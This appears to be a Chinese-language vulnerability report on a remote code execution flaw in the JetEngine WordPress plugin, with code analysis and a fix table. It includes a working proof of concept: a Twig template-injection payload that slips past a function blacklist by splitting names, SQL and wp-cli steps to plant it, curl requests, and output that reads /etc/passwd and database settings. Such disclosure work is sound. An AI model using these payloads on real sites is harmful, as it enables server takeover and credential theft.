
JetEngine <= 3.7.2 - 已认证(投稿者及以上)远程代码执行
日期: 2026 年 3 月 11 日 CVSS 评分: 8.8(高危) CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 受影响插件: JetEngine <= 3.7.2 插件 Slug: jet-engine CVE: CVE-2026-28134 状态: 私有 测试的 WordPress 版本: 最新版
CVE-2026-28134 是 JetEngine WordPress 插件中的一个 远程代码执行 漏洞,影响 3.7.2 及更早的所有版本。该漏洞允许具有 Contributor 级及以上 访问权限的已认证攻击者,通过向 JetEngine Listing 文章注入恶意 Twig 模板,在服务器上执行任意操作系统命令。
攻击链由三个弱点组成:
~ 字符串拼接运算符将受限函数名拆分到多个 token 中,从而绕过过滤器。✅ 漏洞已确认 — 实现完整 RCE
已确认的影响:
www-data 身份执行任意操作系统命令/etc/passwd、wp-config.php)JetEngine 提供了一种基于 Twig/Timber 的 Listing 视图类型。当启用了 timber_views 组件时,_listing_type = twig 的 Listing 文章的 _jet_engine_listing_html 文章 meta 会通过 Timber 作为实时 Twig 模板进行渲染。该渲染流程可通过未认证的 wp_ajax_nopriv_jet_engine_ajax AJAX 操作触达,攻击者只需能够创建或修改 JetEngine Listing 文章(最低 Contributor 角色)即可。
ajax-handlers.php 为已认证和未认证用户注册了 AJAX 操作:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
该处理器会基于 $_REQUEST['handler'] 分发到类中的任何公共方法,且不进行 nonce 或权限检查:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
调用 listing_load_more 是公开可访问的,并会触发 Listing 渲染流程。
listing_load_more → get_listing → frontend->get_listing_item 调用链会到达:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
当 $listing_view = 'twig' 时,会触发 Jet_Engine\Timber_Views\Render::get_listing_content(),从文章的 _jet_engine_listing_html meta 字段中读取 Twig 模板,并直接传递给 render_html():
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig 在无沙箱环境下渲染。唯一的保护是 sanitize_twig_content()。
sanitize_twig_content() 使用单词边界正则模式删除危险的 PHP 函数名,然后检查模板是否被修改:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
模式 \bsystem\b 匹配字面 token system。它不会匹配 "sys" ~ "tem",因为它们是两个独立的带引号字符串 token。Twig 在渲染时计算拼接结果,仅在内存中产生 "system"——源模板中从不包含被阻止的单词。
绕过 payload:
{{ fn("sys" ~ "tem", "id") }}
过滤器看到的是 fn、"sys"、~、"tem"、"id"——它们都不在黑名单中。因此该模板原样通过。
fn() 辅助函数执行代码Timber 直接在 Twig 环境中注册 PHP 可调用包装器:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} 将解析为 call_user_func_array("system", ["id"]) — 任意操作系统命令执行。
timber_views 组件(JetEngine 设置 > 性能 > Timber/Twig Views)。创建一个 JetEngine Listing 文章,并将恶意 Twig 模板存储到文章 meta 中:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
或者通过 wp-cli(以 Contributor 用户身份执行):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
被阻止的字符串 passthru 拆分为 "pas" ~ "sthru":
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
模板设置为 {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
模板 {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax 会为未认证请求触发。handle_ajax() 分发器在调用 listing_load_more 之前不执行 nonce 验证,也不进行权限检查。因此,一旦存在恶意 listing,任何未认证用户都可以触达渲染流程。
Twig 官方沙箱扩展(\Twig\Sandbox\SecurityPolicy)在引擎级别强制使用白名单——无法调用未明确允许的函数。JetEngine 使用 createTemplate() 且没有沙箱。唯一的保护是渲染前的字符串扫描,极易被绕过。
黑名单方法(/\bsystem\b/i)作用于静态模板源文本。Twig 的 ~ 拼接运算符在运行时构建字符串。任何被阻止的名称都可以被拆分:"pass" ~ "thru"、"she" ~ "ll_exec"、"sys" ~ "tem" 等。正确的沙箱无论函数名如何构造都会拒绝该调用。
call_user_func_arrayTimber 的 fn() 和 function() Twig 辅助函数是无条件通向 PHP call_user_func_array 的桥梁。没有可调用函数的白名单。Web 进程可达的任何 PHP 函数都可以被调用。
| 日期 | 事件 |
|---|---|
| 2026-03-11 | 发现漏洞并通过完整 RCE PoC 确认 |
| 2026-03-11 | 报告草拟完成 |
| 文件 | 问题 |
|---|
includes/components/listings/ajax-handlers.php:29 | 注册 wp_ajax_nopriv_jet_engine_ajax — 无认证或 nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — 任意公共方法分发 |
includes/components/timber-views/timber.php:150 | render_html() 在无沙箱情况下渲染攻击者可控的 Twig 模板 |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — 字符串正则黑名单,可通过 token 拆分绕过 |
timber-library/lib/Twig.php:42-43 | Timber 注册 fn()/function() 作为 call_user_func_array 的 Twig 包装器 |
| 修复措施 | 说明 |
|---|
为 handle_ajax() 添加 nonce 和权限检查 | 要求所有 AJAX 分发具备 edit_posts 权限和有效的 nonce |
| 启用 Twig 沙箱 | 用 \Twig\Sandbox\SecurityPolicy 替换字符串黑名单——明确允许安全函数和属性 |
限制 Timber fn() 辅助函数 | 对可调用函数名进行白名单管理,或从 Twig 环境中移除 fn()/function(),以用于不受信任的模板 |
| 验证 listing 的所有权 | 在渲染模板前,确认请求用户对 listing 具有 edit_post 权限 |